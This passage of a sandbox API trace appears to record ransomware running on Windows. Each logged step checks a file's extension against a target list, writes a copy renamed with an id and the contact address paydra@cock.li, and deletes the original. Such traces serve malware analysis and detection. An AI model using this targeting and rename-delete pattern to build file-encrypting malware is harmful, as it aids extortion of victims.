Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0053.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0053.102] lstrlenW (lpString=".doc") returned 4 [0053.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.102] lstrlenW (lpString=".docx") returned 5 [0053.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.102] lstrlenW (lpString=".pdf") returned 4 [0053.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.102] lstrlenW (lpString=".xls") returned 4 [0053.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.102] lstrlenW (lpString=".xlsx") returned 5 [0053.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.102] lstrlenW (lpString=".ppt") returned 4 [0053.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0053.102] lstrlenW (lpString=".zip") returned 4 [0053.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.102] lstrlenW (lpString=".rar") returned 4 [0053.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.102] lstrlenW (lpString=".bz2") returned 4 [0053.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.102] lstrlenW (lpString=".7z") returned 3 [0053.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0053.102] lstrlenW (lpString=".dbf") returned 4 [0053.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0053.103] lstrlenW (lpString=".1cd") returned 4 [0053.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0053.103] lstrlenW (lpString=".jpg") returned 4 [0053.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.103] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.103] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.103] GetLastError () returned 0x0 [0053.103] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x2d74, lpOverlapped=0x0) returned 1 [0053.105] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0053.106] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.106] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.106] SetEndOfFile (hFile=0x17c) returned 1 [0053.106] CloseHandle (hObject=0x17c) returned 1 [0053.106] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.106] SetEndOfFile (hFile=0x20c) returned 1 [0053.107] CloseHandle (hObject=0x20c) returned 1 [0053.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0053.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0053.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0053.108] lstrlenW (lpString=".doc") returned 4 [0053.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.108] lstrlenW (lpString=".docx") returned 5 [0053.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.108] lstrlenW (lpString=".pdf") returned 4 [0053.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.108] lstrlenW (lpString=".xls") returned 4 [0053.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.108] lstrlenW (lpString=".xlsx") returned 5 [0053.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.108] lstrlenW (lpString=".ppt") returned 4 [0053.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0053.108] lstrlenW (lpString=".zip") returned 4 [0053.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.108] lstrlenW (lpString=".rar") returned 4 [0053.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.108] lstrlenW (lpString=".bz2") returned 4 [0053.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.108] lstrlenW (lpString=".7z") returned 3 [0053.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0053.109] lstrlenW (lpString=".dbf") returned 4 [0053.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0053.109] lstrlenW (lpString=".1cd") returned 4 [0053.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0053.109] lstrlenW (lpString=".jpg") returned 4 [0053.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.110] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.110] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.110] GetLastError () returned 0x0 [0053.110] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x57f4, lpOverlapped=0x0) returned 1 [0053.113] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x5800, lpOverlapped=0x0) returned 1 [0053.114] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.114] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.114] SetEndOfFile (hFile=0x17c) returned 1 [0053.114] CloseHandle (hObject=0x17c) returned 1 [0053.114] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.114] SetEndOfFile (hFile=0x20c) returned 1 [0053.115] CloseHandle (hObject=0x20c) returned 1 [0053.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0053.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0053.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0053.116] lstrlenW (lpString=".doc") returned 4 [0053.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.116] lstrlenW (lpString=".docx") returned 5 [0053.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.116] lstrlenW (lpString=".pdf") returned 4 [0053.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.116] lstrlenW (lpString=".xls") returned 4 [0053.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.116] lstrlenW (lpString=".xlsx") returned 5 [0053.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.116] lstrlenW (lpString=".ppt") returned 4 [0053.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0053.116] lstrlenW (lpString=".zip") returned 4 [0053.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.116] lstrlenW (lpString=".rar") returned 4 [0053.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.116] lstrlenW (lpString=".bz2") returned 4 [0053.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.116] lstrlenW (lpString=".7z") returned 3 [0053.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0053.116] lstrlenW (lpString=".dbf") returned 4 [0053.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0053.116] lstrlenW (lpString=".1cd") returned 4 [0053.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0053.117] lstrlenW (lpString=".jpg") returned 4 [0053.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.117] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.117] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.117] GetLastError () returned 0x0 [0053.117] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x3f34, lpOverlapped=0x0) returned 1 [0053.286] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0053.287] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.288] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.288] SetEndOfFile (hFile=0x17c) returned 1 [0053.288] CloseHandle (hObject=0x17c) returned 1 [0053.288] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.288] SetEndOfFile (hFile=0x20c) returned 1 [0053.289] CloseHandle (hObject=0x20c) returned 1 [0053.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0053.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0053.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0053.289] lstrlenW (lpString=".doc") returned 4 [0053.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.290] lstrlenW (lpString=".docx") returned 5 [0053.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.290] lstrlenW (lpString=".pdf") returned 4 [0053.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.290] lstrlenW (lpString=".xls") returned 4 [0053.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.290] lstrlenW (lpString=".xlsx") returned 5 [0053.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.290] lstrlenW (lpString=".ppt") returned 4 [0053.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0053.290] lstrlenW (lpString=".zip") returned 4 [0053.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.290] lstrlenW (lpString=".rar") returned 4 [0053.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.290] lstrlenW (lpString=".bz2") returned 4 [0053.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.290] lstrlenW (lpString=".7z") returned 3 [0053.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0053.290] lstrlenW (lpString=".dbf") returned 4 [0053.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0053.290] lstrlenW (lpString=".1cd") returned 4 [0053.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0053.290] lstrlenW (lpString=".jpg") returned 4 [0053.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.291] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.291] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.291] GetLastError () returned 0x0 [0053.291] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x34cb, lpOverlapped=0x0) returned 1 [0053.295] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0053.296] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.296] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.296] SetEndOfFile (hFile=0x17c) returned 1 [0053.296] CloseHandle (hObject=0x17c) returned 1 [0053.296] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.296] SetEndOfFile (hFile=0x20c) returned 1 [0053.297] CloseHandle (hObject=0x20c) returned 1 [0053.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0053.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0053.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0053.298] lstrlenW (lpString=".doc") returned 4 [0053.298] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.298] lstrlenW (lpString=".docx") returned 5 [0053.298] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0053.298] lstrlenW (lpString=".pdf") returned 4 [0053.298] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.298] lstrlenW (lpString=".xls") returned 4 [0053.298] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.298] lstrlenW (lpString=".xlsx") returned 5 [0053.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0053.298] lstrlenW (lpString=".ppt") returned 4 [0053.298] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0053.298] lstrlenW (lpString=".zip") returned 4 [0053.298] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.298] lstrlenW (lpString=".rar") returned 4 [0053.298] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.298] lstrlenW (lpString=".bz2") returned 4 [0053.298] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.298] lstrlenW (lpString=".7z") returned 3 [0053.298] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0053.298] lstrlenW (lpString=".dbf") returned 4 [0053.298] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0053.298] lstrlenW (lpString=".1cd") returned 4 [0053.298] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0053.298] lstrlenW (lpString=".jpg") returned 4 [0053.298] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.316] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.322] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.328] GetLastError () returned 0x0 [0053.328] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x4edd, lpOverlapped=0x0) returned 1 [0053.329] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0053.330] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.331] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.331] SetEndOfFile (hFile=0x17c) returned 1 [0053.331] CloseHandle (hObject=0x17c) returned 1 [0053.331] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.331] SetEndOfFile (hFile=0x20c) returned 1 [0053.332] CloseHandle (hObject=0x20c) returned 1 [0053.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0053.332] lstrlenW (lpString=".doc") returned 4 [0053.332] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.332] lstrlenW (lpString=".docx") returned 5 [0053.332] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0053.332] lstrlenW (lpString=".pdf") returned 4 [0053.332] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.332] lstrlenW (lpString=".xls") returned 4 [0053.332] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.332] lstrlenW (lpString=".xlsx") returned 5 [0053.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0053.332] lstrlenW (lpString=".ppt") returned 4 [0053.333] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0053.333] lstrlenW (lpString=".zip") returned 4 [0053.333] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.333] lstrlenW (lpString=".rar") returned 4 [0053.333] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.333] lstrlenW (lpString=".bz2") returned 4 [0053.333] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.333] lstrlenW (lpString=".7z") returned 3 [0053.333] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0053.333] lstrlenW (lpString=".dbf") returned 4 [0053.333] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0053.333] lstrlenW (lpString=".1cd") returned 4 [0053.333] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0053.333] lstrlenW (lpString=".jpg") returned 4 [0053.333] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.333] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=8772) returned 1 [0053.333] CloseHandle 